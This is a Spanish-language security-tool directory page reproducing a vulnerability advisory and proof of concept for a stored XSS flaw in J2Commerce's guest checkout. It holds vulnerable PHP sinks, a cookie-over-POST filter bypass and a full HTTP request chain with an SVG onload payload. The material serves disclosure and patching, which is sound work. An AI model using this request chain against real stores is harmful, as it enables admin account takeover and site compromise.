Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/toanln-cov/cve-2026-74252
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad Web
GitHubtoanln-cov/cve-2026-74252

CVE-2026-74252

XSS almacenado en el pago como invitado de J2Commerce mediante omisión del filtro de cookies

Ver Repositorio
hace 2 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

XSS Almacenado en el Checkout de Invitados de J2Commerce mediante Bypass de Filtro de Cookies

J2Commerce (com_j2store) ≤ 4.1.5 — Un atacante no autenticado almacena un payload XSS que se ejecuta automáticamente en el navegador del administrador al cargar la página

CVE CVSS v4.0 CWE-79 Affected Researcher


RESUMEN

J2Commerce 4.1.5 es vulnerable a Cross-Site Scripting Almacenado (XSS) a través de los campos de dirección de facturación del checkout de invitados. Un atacante no autenticado explota un bypass de filtro en Input::getArray() de Joomla combinado con variables_order=EGPCS de PHP (la Cookie sobrescribe POST en $_REQUEST) para almacenar HTML sin sanitizar en campos como billing_first_name. Estos campos se imprimen directamente en el panel de administración de pedidos sin , lo que provoca que el payload se ejecute en el navegador del administrador.

Descargar herramienta
htmlspecialchars()

El payload XSS se dispara automáticamente al cargar la página cuando el administrador navega al listado de pedidos; no se requiere ningún clic en un pedido individual. Una sola cadena de solicitudes HTTP (añadir al carrito → enviar el checkout con el bypass de cookie → realizar el pedido) almacena el payload de forma permanente, que se ejecutará en el navegador de cada administrador hasta que el pedido se elimine o la vulnerabilidad se parchee.

El ataque no requiere autenticación por parte del atacante. El checkout de invitados es una función estándar y habitualmente habilitada en los sitios de comercio electrónico, lo que proporciona un incentivo económico para que los administradores vean los pedidos nuevos, haciendo que la explotación sea trivial de convertir en arma.


VERSIONES AFECTADAS

COMPONENTEVULNERABLEPROBADO ENCORREGIDO
J2Commerce (com_j2store)1.0.0 – 4.1.54.1.5 en Joomla 5.4.7 + MySQL 8.03.3.21 / 4.0.21 / 4.1.6

DETALLES DE LA VULNERABILIDAD

Tipo: Cross-Site Scripting — Almacenado (CWE-79) Autenticación requerida: Ninguna — no autenticado (checkout de invitados) Sink principal: administrator/components/com_j2store/views/orders/tmpl/default_items.php:73 Ruta de escritura: components/com_j2store/controllers/checkouts.php:535

Causa raíz

La vulnerabilidad se compone de dos debilidades que se combinan: un bypass del filtro de entrada en la ruta de escritura y la falta de codificación de salida en la ruta de lectura.

1. Bypass del filtro de entrada — mal uso de Input::getArray() de Joomla

El controlador de checkout de invitados de J2Commerce lee los campos de dirección utilizando $app->input->getArray($_POST). La implementación de Joomla itera el array $_POST y utiliza cada valor como un tipo de filtro (no como dato), mientras lee el valor real desde $_REQUEST:

COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 — RUTA DE ESCRITURA

root@kitploit:~
$data = $app->input->getArray($_POST);

LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — MÉTODO GETARRAY() (LÍNEA 187)

root@kitploit:~
public function getArray(array $vars = [], $datasource = null)
{
    foreach ($vars as $k => $v) {
        $results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
    }
}

LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — FUENTE DE DATOS (LÍNEA 97)

root@kitploit:~
$this->data = $source ?? $_REQUEST;  // Reads from $_REQUEST, not $_POST

2. variables_order de PHP — la Cookie sobrescribe POST en $_REQUEST

$_REQUEST de PHP es una superglobal combinada construida a partir de $_GET, $_POST y $_COOKIE. Cuando variables_order=EGPCS (el valor predeterminado compilado en la mayoría de entornos PHP), Cookie (C) aparece después de POST (P), por lo que la Cookie gana en el caso de claves en conflicto.

Enviar first_name=RAW en el cuerpo de la solicitud POST hace que InputFilter::clean() de Joomla aplique el tipo de filtro 'Raw' (sin operación) al valor de la cookie first_name=<svg...>, que gana en $_REQUEST.

LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP — MÉTODO CLEAN() (LÍNEA 215)

root@kitploit:~
$type = ucfirst(strtolower($type));  // 'RAW' → 'Raw'
if ($type === 'Raw') {
    return $source;  // ← no sanitization — returns cookie value unchanged
}

Resultado neto: el cuerpo POST first_name=RAW configura el filtro como una operación nula. La cookie first_name=<svg onload="alert(document.domain)"> gana en $_REQUEST. Joomla devuelve el valor de la cookie sin filtrar. J2Commerce lo almacena sin procesar en j2store_orderinfos.billing_first_name.

3. Codificación de salida ausente — sinks de la plantilla de administración

ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 — SINK PRINCIPAL (se dispara al cargar la página de listado)

root@kitploit:~
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>

ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 — SINK SECUNDARIO

root@kitploit:~
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>

Este bypass funciona en todos los entornos PHP excepto Debian/Ubuntu (que establece explícitamente request_order = "GP", excluyendo las cookies de $_REQUEST). Todos los demás entornos de alojamiento importantes — hosting compartido cPanel/Plesk, CentOS/RHEL, XAMPP/WAMP/MAMP, Windows IIS — recurren a EGPCS, activando la sobrescritura por Cookie por defecto sin necesidad de cambios de configuración.


PRUEBA DE CONCEPTO

1. Línea base del administrador — Listado de pedidos antes del ataque

Abra el listado de pedidos de administración de J2Commerce como el administrador víctima. Esto confirma que el administrador está usando activamente el panel y encontrará el payload en su próxima visita.

s1-step1-admin-orders-baseline

2. Extraer el token CSRF del frontend

Como atacante no autenticado, envíe una solicitud GET a la página de inicio del frontend de J2Commerce para establecer una sesión y extraer el token CSRF incrustado en las opciones JSON de la página. Este token es necesario para las solicitudes POST posteriores.

s1-step2-csrf-token-extract

3. Añadir producto al carrito

Añada un producto al carrito del atacante. El carrito debe estar no vacío para que el endpoint de checkout de invitados acepte el envío de la dirección.

root@kitploit:~
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded

product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

s1-step3-add-product-to-cart

4. BYPASS CLAVE — Enviar el checkout de invitados con el truco del filtro de cookies

Envíe el formulario de dirección del checkout de invitados con dos valores en conflicto para first_name:

  • Cuerpo POST: first_name=RAW — Joomla interpreta esto como el tipo de filtro (sin operación)
  • Cookie: first_name=<svg...> — esta gana en $_REQUEST (PHP EGPCS: Cookie > POST) y se devuelve sin filtrar
root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E

first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

s1-step4-cookie-bypass-guest-checkout

5. Completar la validación de envío

Envíe el paso de dirección de envío utilizando el mismo bypass de cookie. Este paso establece el país de envío en la sesión; omitirlo provoca un error "SHIPPING_ADDRESS_NOT_FOUND" en los pasos posteriores.

s1-step5-shipping-validate

6. Seleccionar el método de pago

Seleccione el método de pago (contra reembolso). El campo payment_plugin no es una entrada de texto susceptible a XSS.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1

payment_plugin=payment_cash&<csrf_token>=1

s1-step6-select-payment-method

7. Recuperar el hash de confirmación del pedido

Envíe el paso de confirmación para recibir la página de resumen del pedido que contiene un campo oculto hash. Este hash es necesario para finalizar el pedido.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1

accept_terms=1&<csrf_token>=1

s1-step7-retrieve-order-hash

8. Realizar el pedido — Payload XSS persistido en la base de datos

Finalice el pedido utilizando el hash del paso anterior. El servidor crea el registro del pedido en joom_j2store_orderinfos con billing_first_name establecido al payload XSS sin procesar.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1

hash=<hash_from_step7>&<csrf_token>=1

s1-step8-place-order-xss-persisted

9. XSS se ejecuta en el panel del administrador — Automático al cargar la página

Como administrador víctima, navegue al listado de pedidos de J2Commerce. El payload XSS se dispara inmediatamente al cargar la página — sin necesidad de clic. La plantilla default_items.php:73 muestra billing_first_name sin escapar en la columna Cliente.

Cuando el administrador ve el pedido, la respuesta del servidor incluye:

root@kitploit:~
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>

s1-step9-xss-triggers-on-page-load


IMPACTO

  1. Secuestro de sesión del administrador — JavaScript que se ejecuta en el backend del administrador tiene acceso a las cookies de sesión del administrador (a menos que sean HttpOnly) y puede exfiltrarlas a un servidor controlado por el atacante, permitiendo la toma total de la cuenta sin requerir las credenciales del administrador.
  2. Creación de cuentas de administrador rogue — El payload XSS puede llamar programáticamente a la API de gestión de usuarios de Joomla para crear una nueva cuenta de superadministrador, otorgando al atacante acceso persistente incluso después de la rotación de contraseñas o la invalidación de sesiones.
  3. Instalación de plugins maliciosos — Con la ejecución de JS a nivel de administrador, el atacante puede activar los endpoints de instalación de plugins para subir un webshell PHP, logrando ejecución remota de código en el servidor subyacente sin interacción adicional.
  4. Compromiso total del sitio web — El atacante obtiene la capacidad de modificar cualquier contenido, extraer la base de datos (incluidos los datos personales de los clientes y referencias de pago), inyectar malware en las páginas del frontend y establecer puertas traseras persistentes — constituyendo una toma completa del sitio.
  5. Sin requisitos previos más allá de realizar un pedido — El checkout de invitados es una función estándar y comúnmente habilitada en los sitios de comercio electrónico. Cualquier visitante anónimo puede desencadenar este ataque enviando un formulario de checkout — lo que proporciona un incentivo económico (los administradores revisan regularmente los pedidos), haciendo que la explotación sea trivial de convertir en arma a escala.

REFERENCIAS

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-74252
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-74252
  • Aviso de GitHub: https://github.com/advisories/GHSA-42m7-jqh7-g85c
  • Anuncio de seguridad del proveedor: https://www.j2commerce.com/blog/security-announcement-releases-3-3-21-4-0-21-and-4-1-6
  • Repositorio del proveedor: https://github.com/j2store/J2Store